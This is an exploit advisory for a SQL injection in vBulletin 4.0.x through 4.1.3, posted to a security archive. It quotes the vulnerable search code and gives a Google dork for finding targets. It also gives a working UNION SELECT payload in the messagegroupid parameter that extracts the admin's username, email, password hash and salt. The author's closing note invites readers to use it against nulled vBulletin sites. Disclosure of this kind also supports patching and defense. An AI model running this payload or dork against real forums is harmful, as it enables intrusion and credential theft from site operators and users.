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vBulletin 4.1.3 SQL Injection

vBulletin 4.1.3 SQL Injection
Posted Jul 21, 2011
Authored by FB1H2S

vBulletin versions 4.0.x through 4.1.3 suffer from a remote SQL injection vulnerability in messagegroupid.

tags | exploit, remote, sql injection
SHA-256 | f6247497c278e39673c5ca386d68ebbd647569a0f0b7ec7d68b6e4a6963a2b5c

vBulletin 4.1.3 SQL Injection

Change Mirror Download
# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S
# Software Link: [[url]http://www.vbulletin.com/][/url]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [[url]http://members.vbulletin.com/][/url]

######################################################################################################
Vulnerability:
######################################################################################################

Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.

#####################################################################################################
Vulnerable Code:
#####################################################################################################

File: /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid




if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)

{

$value = $registry->GPC['messagegroupid'];

if (!is_array($value))

{

$value = array($value);

}



if (!(in_array(' ',$value) OR in_array('',$value)))

{

if ($rst = $vbulletin->db->query_read("

SELECT socialgroup.name

FROM " . TABLE_PREFIX."socialgroup AS socialgroup

---> WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")


}



############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
--> Search Single Content Type

Keywords : Valid Group Message

Search Type : Group Messages

Search in Group : Valid Group Id

&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

##########################################################################################
More Details:
##########################################################################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day


###########################################################################################
Note:
###########################################################################################

Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

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